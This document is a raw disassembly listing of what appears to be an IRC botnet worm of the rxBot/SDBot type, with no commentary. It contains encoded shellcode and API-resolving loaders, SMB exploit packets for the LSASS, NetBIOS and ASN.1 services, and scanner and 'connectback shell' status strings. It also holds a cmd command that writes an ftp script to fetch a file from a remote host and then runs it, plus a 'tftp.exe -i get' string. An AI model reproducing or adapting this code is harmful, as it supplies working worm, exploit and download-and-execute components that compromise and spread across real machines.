aAdorno		db 'Adorno',0           ; DATA XREF: .nsp0:0042FA80o
		align 4
aAdibe		db 'Adibe',0            ; DATA XREF: .nsp0:0042FA7Co
		align 4
aAdelstein	db 'Adelstein',0        ; DATA XREF: .nsp0:0042FA78o
		align 4
aAddison	db 'Addison',0          ; DATA XREF: .nsp0:off_42FA74o
aAdams		db 'Adams',0            ; DATA XREF: .nsp0:0042FA70o
		align 4
aAckerman	db 'Ackerman',0         ; DATA XREF: .nsp0:0042FA6Co
		align 4
aAbdulrazak	db 'Abdulrazak',0       ; DATA XREF: .nsp0:off_42FA68o
		align 10h
byte_4336C0	db 50h			; DATA XREF: .nsp0:00409EFCo
					; .nsp0:00409F09r
		db 43h,	2 dup(0)
dword_4336C4	dd 7C7325h		; DATA XREF: .nsp0:00409FA7o
dword_4336C8	dd 5D73255Bh, 7Ch	; DATA XREF: .nsp0:0040A0B1o
dword_4336D0	dd 3F3F3Fh		; DATA XREF: .nsp0:loc_40A0A8o
					; sub_417368:loc_41742Bo
dword_4336D4	dd 334B32h		; DATA XREF: .nsp0:0040A0A1o
dword_4336D8	dd 4B32h		; DATA XREF: .nsp0:0040A083o
					; sub_417368+98o
dword_4336DC	dd 454Dh		; DATA XREF: .nsp0:0040A06Ao
					; sub_417368+7Eo
dword_4336E0	dd 3839h		; DATA XREF: .nsp0:0040A05Ao
					; sub_417368+6Co
dword_4336E4	dd 544Eh		; DATA XREF: .nsp0:0040A04Ao
					; sub_417368+5Ao
dword_4336E8	dd 3539h		; DATA XREF: .nsp0:0040A03Co
					; sub_417368+46o
dword_4336EC	dd 5D64255Bh, 7325h	; DATA XREF: sub_40A0F7+3Ao
dword_4336F4	dd 5D4D5Bh		; DATA XREF: sub_40A0F7+2Co
					; sub_40A0F7+57o
aMirc_0		db 'mIRC',0             ; DATA XREF: sub_40A0F7+18o
					; sub_4152E6+5o
		align 10h
		jmp	short loc_433704
; ---------------------------------------------------------------------------


loc_433702:				; CODE XREF: .nsp0:loc_433704p
		jmp	short loc_433709
; ---------------------------------------------------------------------------


loc_433704:				; CODE XREF: .nsp0:00433700j
		call	loc_433702


loc_433709:				; CODE XREF: .nsp0:loc_433702j
		pop	ebx
		xor	ecx, ecx
		mov	cx, 0FFFFh


loc_433710:				; CODE XREF: .nsp0:00433715j
		xor	byte ptr [ebx+0Eh], 0FFh
		inc	ebx
		loop	loc_433710
		add	bl, ch
		add	ch, bl
		add	eax, 0FFFFF9E8h
		call	fword ptr [ebx+31h]
		leave
		mov	cl, 0FFh


loc_433726:				; CODE XREF: .nsp0:0043372Bj
		xor	byte ptr [ebx+0Ch], 0FFh
		inc	ebx
		loop	loc_433726
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
		dd 12h
aTftp_exeIGet	db 'tftp.exe -i  get ',0
; ---------------------------------------------------------------------------
		push	0
		call	sub_4337C8
		jnz	short loc_4337B4
		retn
; ---------------------------------------------------------------------------


loc_4337B4:				; CODE XREF: .nsp0:004337B1j
					; .nsp0:004337C1j
		call	near ptr loc_4337B9+1


loc_4337B9:				; CODE XREF: .nsp0:loc_4337B4p
		add	[edx+0], ch
		call	sub_4337C8
		jz	loc_4337B4
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4337C8	proc near		; CODE XREF: .nsp0:004337ACp
					; .nsp0:004337BCp
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
sub_4337C8	endp

; ---------------------------------------------------------------------------
		align 4
dword_4337F4	dd 234032Dh, 65726874h,	6C206461h, 2747369h, 202D03h
					; DATA XREF: sub_40A2C0+10o
aSNoSThreadFoun	db '%s No %s thread found.',0 ; DATA XREF: sub_40A491+51o
		align 10h
aSSStopped_DThr	db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40A491+35o
		align 4
aSym		db 'sym',0              ; DATA XREF: sub_40B229+164o
		dd 0
		db 2 dup(0)
aSymantec	db 'Symantec',0         ; DATA XREF: sub_40A8E4+30o
		align 4
		dd 5 dup(0)
dword_433870	dd 0B97h		; DATA XREF: sub_401AC7+18F6r
					; sub_401AC7+191Fo ...
off_433874	dd offset sub_40D1DA	; DATA XREF: sub_40B229+1E6r
dword_433878	dd 0			; DATA XREF: sub_40A757+2Eo
					; .nsp0:0040C5A0w ...
dword_43387C	dd 1			; DATA XREF: sub_40ABD2+1Fr
dword_433880	dd 1			; DATA XREF: sub_40ABD2+3B3r
dword_433884	dd 0			; DATA XREF: sub_40ABD2+292r
		dd 636E76h, 0
		dd 6E760000h, 63h, 6 dup(0)
		dd 170Ch, 40D310h, 0
		dd 2 dup(1), 0
aNet139		db 'net139',0
		align 10h
		dd 654E0000h, 69706174h, 393331h, 5 dup(0)
		dd 8Bh,	40D098h, 0
		dd 2 dup(1), 0
aNet445		db 'net445',0
		align 10h
		dd 654E0000h, 69706174h, 353434h, 5 dup(0)
		dd 1BDh, 40D098h, 0
		dd 2 dup(1), 0
aAsn80		db 'asn80',0
		align 10h
		dd 53410000h, 2D312E4Eh, 50545448h, 5 dup(0)
		dd 50h,	40C3DAh, 0
		dd 2 dup(1), 0
aAsn445		db 'asn445',0
		align 10h
		dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
; ---------------------------------------------------------------------------
		mov	ebp, 0DA000001h
		retn
; ---------------------------------------------------------------------------
		dw 40h
		dd 0
		dd 2 dup(1), 0
aMsass		db 'msass',0
		align 10h
		dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0)
		dd 8Bh,	40C3DAh, 0
		dd 2 dup(1), 2 dup(0)
		dd 10100h, 0Eh dup(0)
aMsass_0	db 'msass',0
		align 10h
		db 2 dup(0)
byte_433A52	db 1			; DATA XREF: sub_401AC7:loc_403336r
					; sub_401AC7+1879o
		db 73h
		dd 6D79h, 0
		dd 100h, 3 dup(0)
; ---------------------------------------------------------------------------
		jmp	short loc_433A7E

; =============== S U B	R O U T	I N E =======================================



sub_433A6E	proc near		; CODE XREF: sub_433A6E:loc_433A7Ep
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 166h


loc_433A76:				; CODE XREF: sub_433A6E+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_433A76
		jmp	short loc_433A83
; ---------------------------------------------------------------------------


loc_433A7E:				; CODE XREF: .nsp0:00433A6Cj
		call	sub_433A6E


loc_433A83:				; CODE XREF: sub_433A6E+Ej
		jo	short near ptr dword_433A0C+12h
		cwde
		cdq
		cdq
		retn
sub_433A6E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 21h,	95h, 69h
		dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h,	0EF126A9Ah
		dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
		dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh,	0C7C6C070h
		dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
		dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
		dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
		dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
		dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh,	0CA98F36Dh
		dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
		dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
		dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
		dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
		dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
		dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
		dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
		dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
		dd 0FAF899F7h, 0EDE9FCFAh, 99h
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_40A757+85o
		align 10h
dword_433C00	dd 25370320h, 203A0373h, 2C6425h ; DATA	XREF: sub_40A757+46o
unk_433C0C	db  2Dh	; -		; DATA XREF: sub_40A757+11o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aExploitStatist	db 'Exploit Statistics:',0
unk_433C2C	db  2Dh	; -		; DATA XREF: sub_40A825+37o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
		db  54h	; T
		db 72h,	61h, 6Eh
		db  73h	; s
		db 66h,	65h, 72h
		db  20h
		db 53h,	74h, 61h
		db  74h	; t
		db 69h,	73h, 74h
		db  69h	; i
		db 63h,	73h, 3Ah
		db  20h
		db 2, 54h, 46h
		db  54h	; T
		db 50h,	2, 3Ah
		db  20h
		db 25h,	64h, 2Ch
		db  20h
		db 2, 46h, 54h
		db  50h	; P
		db 2, 3Ah, 20h
aDTotalDInS_	db '%d, Total %d in %s.',0
unk_433C74	db  2Dh	; -		; DATA XREF: sub_40A890+21o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDConnectbackSh	db '%d connectback shells in %s.',0
		align 10h
aScanTimeS_	db ' Scan Time: %s.',0  ; DATA XREF: sub_40A8E4+7Eo
dword_433CB0	dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40A8E4+40o
dword_433CC0	dd 234032Dh, 6E616373h,	202D0302h, 6C707845h, 2074696Fh
					; DATA XREF: sub_40A8E4+14o
		dd 7473694Ch, 3Ah
unk_433CDC	db  2Dh	; -		; DATA XREF: sub_40A9AA+16Eo
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFinishedExploi	db '- finished exploiting %s (%d attempts)',0
unk_433D10	db  2Dh	; -		; DATA XREF: sub_40A9AA+80o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
		db 2Dh,	20h, 74h
		db  72h	; r
		db 79h,	69h, 6Eh
		db  67h	; g
		db 20h,	2, 25h
		db  73h	; s
		db 2, 20h, 6Fh
aNSPortD___	db 'n %s (port %d)...',0
		align 10h
unk_433D40	db  2Dh	; -		; DATA XREF: sub_40AB5B+42o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanNotActive_	db 'Scan not active.',0
		align 10h
unk_433D60	db  2Dh	; -		; DATA XREF: sub_40AB5B+2Co
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aCurrentIpS_	db 'Current IP: %s.',0
unk_433D7C	db  2Dh	; -		; DATA XREF: sub_40ABD2+4B7o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_25	db ' Failed to start server, error: <%d>.',0
		align 10h
unk_433DB0	db  2Dh	; -		; DATA XREF: sub_40ABD2+38Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aFailedToSta_26	db '- Failed to start server, error: <%d>.',0
unk_433DE8	db  2Dh	; -		; DATA XREF: sub_40ABD2+321o
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aServerStarte_2	db '- Server started on Port: %d.',0
		align 4
unk_433E18	db  2Dh	; -		; DATA XREF: sub_40ABD2+26Co
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_27	db 'Failed to start server, error: <%d>.',0
		align 4
unk_433E4C	db  2Dh	; -		; DATA XREF: sub_40ABD2+1FEo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aServerStarte_3	db 'Server started on Port: %d, File: %s.',0
		align 10h
unk_433E80	db  2Dh	; -		; DATA XREF: sub_40ABD2+148o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_28	db ' Failed to start server, error: <%d>.',0
		align 4
unk_433EB4	db  2Dh	; -		; DATA XREF: sub_40B229+EBo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSPortDIsOpen	db 'IP: %s, Port %d is open.',0
		align 4
unk_433EDC	db  2Dh	; -		; DATA XREF: sub_40B229+93o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSDScanThread	db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_433F14	db  2Dh	; -		; DATA XREF: sub_40B43D+1CEo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedAtSDAf	db 'Finished at %s:%d after %d minute(s) of scanning.',0
		align 4
unk_433F54	db  2Dh	; -		; DATA XREF: sub_40B43D+173o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStartW	db 'Failed to start worker thread, error: <%d>.',0
unk_433F8C	db  2Dh	; -		; DATA XREF: sub_40B43D+103o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDScanThreadDS	db '%s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_433FC0	db  2Dh	; -		; DATA XREF: sub_40B43D+87o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToInitia	db 'Failed to initialize critical section.',0
		align 4
unk_433FF4	db  2Dh	; -		; DATA XREF: sub_40B69C+92o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSPortDIsOp_0	db 'IP: %s Port: %d is open.',0
		align 4
unk_43401C	db  2Dh	; -		; DATA XREF: sub_40B769+41o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSPor	db 'Scanning IP: %s, Port: %d.',0
		align 4
unk_434044	db  2Dh	; -		; DATA XREF: sub_40B85A+D1o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedScanni	db 'Finished scanning IP: %s.',0
		align 10h
unk_434070	db  2Dh	; -		; DATA XREF: sub_40B85A+41o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSP_0	db 'Scanning IP: %s, Port: %d.',0
		align 4
aRbrbrbrb	db 'BBBB',0         ; DATA XREF: sub_40BBDB+B2o
		align 4
dword_4340A8	dd 10FF8h, 0		; DATA XREF: sub_40BBDB+6Ao
dword_4340B0	dd 10FF8h		; DATA XREF: sub_40BBDB+79o
dword_4340B4	dd 7FFDF020h, 0		; DATA XREF: sub_40BBDB+162o
dword_4340BC	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)	; DATA XREF: sub_40C005+7Bo
		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_434144	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)	; DATA XREF: sub_40C005+34o
		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_434174	dd 0			; DATA XREF: sub_40C005+44o
		dd 800000D4h, 0
unk_434180	db  81h	; 		; DATA XREF: sub_40C0DF+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		dd 0
byte_4341CC	db 41h			; DATA XREF: sub_40C17D+107r
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_434210	proc near		; DATA XREF: .nsp0:0040C45Co
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_43430C
		push	dword ptr [esi]
		push	63D61209h
		call	sub_434322
		mov	[esi+8], eax
		call	sub_4342D5
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_434322
		mov	[esi+0Ch], eax
		call	sub_434287
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_434322
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_434210	endp


; =============== S U B	R O U T	I N E =======================================



sub_434287	proc near		; CODE XREF: sub_434210+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_4342B0
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_434287	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4342B0	proc near		; CODE XREF: sub_434287+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_4342BF:				; CODE XREF: sub_4342B0+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_4342CC
		inc	ebx
		jmp	short loc_4342BF
; ---------------------------------------------------------------------------


loc_4342CC:				; CODE XREF: sub_4342B0+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_4342B0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4342D5	proc near		; CODE XREF: sub_434210+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_4342ED:				; CODE XREF: sub_4342D5+1Ej
		cmp	[ecx], ebx
		jz	short loc_4342F5
		mov	ecx, [ecx]
		jmp	short loc_4342ED
; ---------------------------------------------------------------------------


loc_4342F5:				; CODE XREF: sub_4342D5+1Aj
		mov	edx, edi


loc_4342F7:				; CODE XREF: sub_4342D5+2Aj
		cmp	[edx+4], ebx
		jz	short loc_434301
		mov	edx, [edx+4]
		jmp	short loc_4342F7
; ---------------------------------------------------------------------------


loc_434301:				; CODE XREF: sub_4342D5+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_4342D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_43430C	proc near		; CODE XREF: sub_434210+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_43430C	endp


; =============== S U B	R O U T	I N E =======================================



sub_434322	proc near		; CODE XREF: sub_434210+16p
					; sub_434210+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_434338:				; CODE XREF: sub_434322+33j
		jecxz	short loc_434372
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_434345:				; CODE XREF: sub_434322+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_434351
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_434345
; ---------------------------------------------------------------------------


loc_434351:				; CODE XREF: sub_434322+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_434338
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_434372:				; CODE XREF: sub_434322:loc_434338j
					; sub_434322:loc_434372j
		jmp	short loc_434372
sub_434322	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================



sub_434378	proc near		; DATA XREF: .nsp0:0040C40Ao

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_4343CA
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_434395:				; CODE XREF: sub_434378+38j
		jecxz	short loc_4343C5
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_4343A0:				; CODE XREF: sub_434378+32j
		lodsb
		test	al, al
		jz	short loc_4343AC
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_4343A0
; ---------------------------------------------------------------------------


loc_4343AC:				; CODE XREF: sub_434378+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_434395
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_4343C5:				; CODE XREF: sub_434378:loc_434395j
		mov	[esp+arg_0], ebx
		retn
sub_434378	endp


; =============== S U B	R O U T	I N E =======================================



sub_4343CA	proc near		; CODE XREF: sub_434378+7p

; FUNCTION CHUNK AT 00434402 SIZE 00000008 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_4343E3
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_4343EE
; ---------------------------------------------------------------------------


loc_4343E3:				; CODE XREF: sub_4343CA+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


loc_4343EE:				; CODE XREF: sub_4343CA+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_434402
sub_4343CA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4343F5	proc near		; CODE XREF: sub_4343CA:loc_434402p
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_4343F5	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4343CA


loc_434402:				; CODE XREF: sub_4343CA+29j
		call	sub_4343F5


loc_434407:				; DATA XREF: sub_40BBDB+320o
		add	[eax+0], ah
; END OF FUNCTION CHUNK	FOR sub_4343CA
; ---------------------------------------------------------------------------
		dw 0
dword_43440C	dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40BBDB+2F5o
dword_434418	dd 0A1h			; DATA XREF: sub_40BBDB+29Fo
dword_43441C	dd 3			; DATA XREF: sub_40BBDB+246o
aCccc		db 'CCCC',0             ; DATA XREF: sub_40BBDB+153o
		align 4


loc_434428:				; DATA XREF: sub_40BBDB+E8o
		jmp	short near ptr dword_434430
; ---------------------------------------------------------------------------
		align 10h
dword_434430	dd 0			; CODE XREF: .nsp0:loc_434428j
aCmdCEchoOpenSD	db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
					; DATA XREF: .nsp0:0040C431o
		db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
		align 4
dword_434498	dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: sub_40CAA5+2B0o
; ---------------------------------------------------------------------------


loc_4344A4:				; CODE XREF: .nsp0:004344AEj
		xor	dword ptr [ebx+13h], 6AD31EBBh
		sub	ebx, 0FFFFFFFCh
		loop	loc_4344A4
		inc	edi
		jz	short loc_4344EB
		and	eax, 952CE753h
		inc	esp
		jle	short loc_434513
		push	es
		lahf
		cmp	bl, [eax+2Fh]
		xchg	edx, [ebp+1FC36FAFh]
		cmp	al, 0E1h
; ---------------------------------------------------------------------------
		dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh
		dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h
; ---------------------------------------------------------------------------
		lahf
		cmps	byte ptr ss:[esi], byte	ptr es:[edi]


loc_4344EB:				; CODE XREF: .nsp0:004344B1j
		mov	[eax], esi
		inc	ecx
		imul	dword ptr [ebx+50h]
		js	short near ptr loc_43454A+1
		lock xchg ax, bp
; ---------------------------------------------------------------------------
		dw 768Ch
		dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh
		dd 0C7CF6E30h
; ---------------------------------------------------------------------------


loc_434510:				; CODE XREF: .nsp0:0043453Dj
		xor	[esi-25h], bl


loc_434513:				; CODE XREF: .nsp0:004344B9j
		xor	al, 0D3h
		nop
		popf
		db	64h
		push	edi
		dec	esi
		sub	al, 0BCh
		mov	al, ch
		mov	ch, 39h
		fnsave	byte ptr [esi-20h]
		pop	eax
		shr	dword ptr [ecx-60h], cl
		pop	eax
		in	al, 4Ah
		sub	al, 0BAh


loc_43452C:				; CODE XREF: .nsp0:0043455Fj
		rcl	ebp, cl
		db	3Eh
		xchg	eax, esi
		or	byte ptr [esi+2Ch], 0BCh
		in	al, 97h
		db	36h
		or	al, 3Ah
		rep fld	tbyte ptr [eax-12h]
		jz	short loc_434510
		xchg	eax, ebp
		imul	esi, [esi+0Ah],	63h
		dec	esi
		mov	bl, 84h
		xchg	eax, ebp
		insd
		dec	ebp


loc_43454A:				; CODE XREF: .nsp0:004344F1j
		cmp	byte ptr [ecx],	0E8h
		dec	ebp
		nop
		cmp	eax, edi
		dec	ebp
		sub	al, 0BAh
		fnsave	byte ptr [esi-2Dh]
		paddusw	mm1, qword ptr [ebp+5Ah]
		mov	ebp, [esi]
		jbe	short loc_4345D6
		jo	short loc_43452C
		fld	dword ptr [ebp+edx*4+3BC3746Dh]
		out	dx, al
		loope	near ptr loc_43456D+1
		add	bl, [edi]


loc_43456D:				; CODE XREF: .nsp0:00434569j
		mov	bl, 0FDh
		sub	esp, 0FFFFFFE1h
		add	eax, 3E1EE39h
		add	bl, [esi+57h]
		push	ebp
		and	ebp, esp
		loope	near ptr loc_434582+2
		cmp	ch, bh
		dec	edx


loc_434582:				; CODE XREF: .nsp0:0043457Dj
		xchg	dl, [ebp-72447295h]
		retn	0AAD8h
; ---------------------------------------------------------------------------
		db 3Dh
		dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h
		dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h
		dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h,	6BB94FEAh
		dd 3B864FEAh, 0C7BBCE44h, 391D1B62h
		db 44h,	0C8h
; ---------------------------------------------------------------------------


loc_4345D6:				; CODE XREF: .nsp0:0043455Dj
		mov	ecx, 2C294495h
		mov	edx, 0E92F4930h
		jg	short loc_43465C
